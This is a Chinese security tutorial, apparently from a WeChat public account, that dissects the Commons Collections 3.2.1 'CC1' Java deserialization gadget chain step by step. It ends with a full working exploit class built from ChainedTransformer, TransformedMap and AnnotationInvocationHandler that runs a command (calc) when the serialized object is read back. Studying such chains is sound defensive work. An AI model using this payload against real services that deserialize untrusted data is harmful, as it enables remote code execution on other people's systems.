云雾安全公众号
Java安全
Java反序列化(二)之CC1链
1.Commons Collections
Apache Commons
是Apache
软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java
代码。Commons
由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections
包为Java
标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码
2.回顾反序列化漏洞原理
找链子最好是从后往前找,先找到危险方法,然后调用它的方法或类,再联系到入口类,构造出exp。
3.从源码分析CC1链
以下是Collections
的包结构和简单介绍:
org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag – 实现Bag接口的一组类
org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer – 实现Buffer接口的一组类
org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators – 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list – 实现java.util.List接口的一组类
org.apache.commons.collections.map – 实现Map系列接口的一组类
org.apache.commons.collections.set – 实现Set系列接口的一组类
Commons Collections
的3.2.1版本源码中,存在一个Transform
接口,在ysoserial
工具里的Gadget chain
也是用的这个接口的实现方法;所以我们CC1链就从这个接口(类)开始分析起。
maven
仓库里把Commons Collections
3.2.1版本的依赖下载添加到项目中。添加进来后,我们先找到Transform
接口,看看它的实现类有哪些。
我们这里主要看InvokerTransformer
类,也是存在漏洞点的类。
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}
}
从上图和给出代码中可以看出,transform
方法首先进来接受一个input
对象,然后反射调用,方法参数类型和值都是我们可以自己可控的;这里代码写的有点像个后门,可能作者是要有一些动态的方法,所以才这么写的,但这样就会产生危险问题,我们就可以进行利用。
我们来尝试用这个方法弹一下计算机试试(列出了三种):
//直接弹出计算器
Runtime.getRuntime().exec("calc");
//使用反射弹出计算器
Runtime r = Runtime.getRuntime();
Class<Runtime> c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
//使用InvokerTransformer弹出计算器
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
根据从后往前的找链顺序来跟,现在知道危险方法是transform
了,下面就看调用transform
的类有哪些,用Find Usages
查找能找到有21处调用,几个类都直接调用了transform
,比如LasyMap
、TransformedMap
等等
这里我们先看看TransformedMap
类,因为这个类有好几处都调用了transform
方法,如下图的checkSetValue
和transformKey
和transformValue
。
在TransformedMap
类里找到由protected
修饰的构造函数TransformedMap
,只能在类中调用,可以看出接收一个map
进来,对他的key
和value
分别进行操作。
找到是静态方法decorate
,对key
和value
进行一个完整的装饰操作。那我们可以从这里新建一个TransformedMap
了。
最后我们是要调用checkSetValue
的transform
方法,所以只用给invokerTransformer
赋值即可。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
//invokerTransformer.transform(value)
TransformedMap.decorate(map,null,invokerTransformer);
继续找,看哪个调用了checkSetValue
,发现是个MapEntry
类,里面调用了setValue
然后调用checkSetValue
。
这个setValue
实际上就是Entry
类里的setValue
方法,重写了下,Entry
类是一个静态内部类,一般map
遍历时会用到Entry
,从上图中可以看到MapEntry
继承了AbstractMapEntryDecorator
,然后AbstractMapEntryDecorator
实现了Entry
类。
这样我们只要遍历TransformedMap
,调用setValue
,就会走到MapEntry
的setValue
里的checksetValue
,如下,成功调用:
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
//invokerTransformer.transform(value)
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}
这样,调用链大概就走到一半了,理一下,从最开始的危险方法exec()
——>到InvokerTransformer.transform()
——>再到setValue()
,接下来就继续往入口类找,看能不能联系到readObject()
。
先找看有没有readObject()
直接调用setValue()
方法的,没有的话就得多走几层了。
继续找,从jdk
里带的一个rt.jar
包里找到了AnnotationlnvocationHandler
类,刚好是readObject()
直接调用setValue()
方法。
从这个类的构造函数可以看出,第二个参数var2
可控,即memberValues
可控,可以把我们设计好的TransformedMap
放进去第一个参数是继承注解的类。AnnotationInvocationHandler
这个类是default
类型的,就得需要反射来调用。
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Override.class, transformedMap);
由于Runtime r = Runtime.getRuntime()
不能反序列化,所以要写成能序列化的形式,使用InvokerTransformer
:
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
如上图,有个类为ChainedTransformer
,这个类可以放一个Transformer
数组进去然后再进行递归调用,我们可以用这个类进行改写:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
然后把代码整合一下:
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object obj = annotationInvocationConstructor.newInstance(Override.class, transformedMap);
serialize(obj);
unserialize("ser.bin");
但是执行后没成功调出计算器,调试发现,是AnnotationInvocationHandler
类里的readObejct
函数中的if
方法没绕过去。
var7
变量为null
,发现var7
其实是获取传进来注解的值,而开始传进来的注解Override
里没有成员方法,所以获取的值为null
;
我们只需要传入的注解有值,把map
中的aaa
改成成员方法名,就可以绕过这个if可以看到Target
注解有值,我们传入Target
,并且把aaa
改为value
。
可以看到,第一个if
绕过了,第二个if
也没有拦住;
但是能看到value
为AnnotationTypeMismatchExceptionProxy
这个东西,如果我们能改一下让他调用Runtime.class
就好了;回想一下,当时在找transform
的时候,有个ConstantTransformer
类,他的transform
方法就是始终返回指定值,我们可以最后调用他的transform
方法。
则new
一个ConstantTransformer
即可,exp
代码如下:
public class CC1test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value","bbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object obj = annotationInvocationConstructor.newInstance(Target.class, transformedMap);
serialize(obj);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
成功执行!其实不止这一条链,通过LazyMap
也是可以的。(看着可能会有些乱,建议去B站看看相关跟链视频)
文章相关快速利用笔记已经上传到公众号资料网盘(持续更新中),关注可以获取网盘链接,谢谢支持!
更多详情,请关注公众号“云雾安全”之后在菜单栏回复“加群”关键字,获取加群方法,进群可以立即尽情享受ChatGPT给我们带来的欢乐,十分感谢各位师傅的支持!!!
关注有礼
-
关注公众号回复”SRC”即可领取SRC分享资料礼包
-
关注公众号回复”工具”即可领取渗透测试工具
-
关注公众号回复”进群”即可和我们进行交流
扫二维码|关注我们
公众号| 云雾安全
原文始发于微信公众号(云雾安全):Java安全 | Java反序列化(二)之CC1链